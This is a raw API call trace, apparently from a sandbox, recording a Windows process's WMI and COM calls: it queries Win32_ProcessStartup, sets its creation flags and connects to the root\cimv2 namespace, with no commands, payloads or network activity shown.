[0057.834] WbemLocator:IUnknown:QueryInterface (in: This=0x11c82e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11dee30) returned 0x0 [0057.835] WbemLocator:IRpcOptions:Query (in: This=0x11dee30, pPrx=0x11d50f0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0057.835] WbemLocator:IUnknown:Release (This=0x11dee30) returned 0x2 [0057.835] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0057.835] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0057.835] WbemLocator:IUnknown:QueryInterface (in: This=0x11c82e0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11c82e0) returned 0x0 [0057.835] WbemLocator:IUnknown:Release (This=0x11c82e0) returned 0x2 [0057.835] SysStringLen (param_1=0x0) returned 0x0 [0057.835] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0057.835] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0057.835] IWbemServices:GetObject (in: This=0x11c82e0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11de7e0, ppCallResult=0x0) returned 0x0 [0057.837] IWbemClassObject:Get (in: This=0x11de7e0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0057.837] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0057.837] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0057.837] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0057.837] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0057.837] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0057.837] IUnknown:Release (This=0x111f638) returned 0x1 [0057.840] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11d5090) returned 0x0 [0057.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d5090, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0057.840] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d5090, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x116a400) returned 0x0 [0057.840] WbemDefPath:IUnknown:Release (This=0x11d5090) returned 0x0 [0057.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x116a400) returned 0x0 [0057.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0057.841] WbemDefPath:IUnknown:AddRef (This=0x116a400) returned 0x3 [0057.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0057.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0057.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11d50b0) returned 0x0 [0057.841] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d50b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.841] WbemDefPath:IUnknown:Release (This=0x11d50b0) returned 0x3 [0057.841] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0057.841] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0057.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0057.841] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x2 [0057.841] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x1 [0057.841] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0057.841] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0057.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a400, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x116a400) returned 0x0 [0057.841] WbemDefPath:IUnknown:AddRef (This=0x116a400) returned 0x3 [0057.841] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x2 [0057.842] WbemDefPath:IWbemPath:SetText (This=0x116a400, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0057.842] IWbemClassObject:Get (in: This=0x11de7e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d2570*=0, plFlavor=0x29d2574*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d2570*=19, plFlavor=0x29d2574*=0) returned 0x0 [0057.842] IWbemClassObject:Get (in: This=0x11de7e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d2570*=19, plFlavor=0x29d2574*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d2570*=19, plFlavor=0x29d2574*=0) returned 0x0 [0057.842] IWbemClassObject:Put (This=0x11de7e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0057.842] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a1c0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0057.842] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.842] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0057.842] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.842] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0057.842] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0057.842] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0057.842] IUnknown:Release (This=0x111f638) returned 0x1 [0057.844] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11e0ca0) returned 0x0 [0057.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e0ca0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0057.844] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e0ca0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x116a4c0) returned 0x0 [0057.844] WbemDefPath:IUnknown:Release (This=0x11e0ca0) returned 0x0 [0057.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a4c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x116a4c0) returned 0x0 [0057.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a4c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0057.845] WbemDefPath:IUnknown:AddRef (This=0x116a4c0) returned 0x3 [0057.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a4c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0057.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a4c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0057.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a4c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11e0ce0) returned 0x0 [0057.845] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e0ce0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.845] WbemDefPath:IUnknown:Release (This=0x11e0ce0) returned 0x3 [0057.845] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0057.845] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0057.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a4c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0057.845] WbemDefPath:IUnknown:Release (This=0x116a4c0) returned 0x2 [0057.845] WbemDefPath:IUnknown:Release (This=0x116a4c0) returned 0x1 [0057.845] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0057.845] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0057.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a4c0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x116a4c0) returned 0x0 [0057.845] WbemDefPath:IUnknown:AddRef (This=0x116a4c0) returned 0x3 [0057.845] WbemDefPath:IUnknown:Release (This=0x116a4c0) returned 0x2 [0057.845] WbemDefPath:IWbemPath:SetText (This=0x116a4c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0057.845] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0057.845] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0057.845] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.846] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0057.846] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0057.846] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0057.846] IUnknown:Release (This=0x111f638) returned 0x1 [0057.846] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11e0de0) returned 0x0 [0057.847] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0de0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0057.847] WbemLocator:IClassFactory:CreateInstance (in: This=0x11e0de0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11e0e00) returned 0x0 [0057.847] WbemLocator:IUnknown:Release (This=0x11e0de0) returned 0x0 [0057.847] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0e00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11e0e00) returned 0x0 [0057.847] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0e00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0057.847] WbemLocator:IUnknown:AddRef (This=0x11e0e00) returned 0x3 [0057.847] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0e00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0057.847] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0e00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0057.847] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0e00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0057.847] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0057.847] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0057.847] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0e00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0057.848] WbemLocator:IUnknown:Release (This=0x11e0e00) returned 0x2 [0057.848] WbemLocator:IUnknown:Release (This=0x11e0e00) returned 0x1 [0057.848] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0057.848] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0057.848] WbemLocator:IUnknown:QueryInterface (in: This=0x11e0e00, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11e0e00) returned 0x0 [0057.848] WbemLocator:IUnknown:AddRef (This=0x11e0e00) returned 0x3 [0057.848] WbemLocator:IUnknown:Release (This=0x11e0e00) returned 0x2 [0057.848] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0057.848] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0057.848] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.848] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11e0e20) returned 0x0 [0057.848] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11e0e20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x11c86d0) returned 0x0 [0057.882] WbemLocator:IUnknown:QueryInterface (in: This=0x11c86d0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11defa0) returned 0x0 [0057.882] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11defa0, pProxy=0x11c86d0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0057.882] WbemLocator:IUnknown:Release (This=0x11defa0) returned 0x1 [0057.882] WbemLocator:IUnknown:QueryInterface (in: This=0x11c86d0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11defe0) returned 0x0 [0057.882] WbemLocator:IUnknown:QueryInterface (in: This=0x11c86d0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11defa0) returned 0x0 [0057.882] WbemLocator:IClientSecurity:SetBlanket (This=0x11defa0, pProxy=0x11c86d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0057.882] WbemLocator:IUnknown:Release (This=0x11defa0) returned 0x2 [0057.882] WbemLocator:IUnknown:Release (This=0x11defe0) returned 0x1 [0057.882] 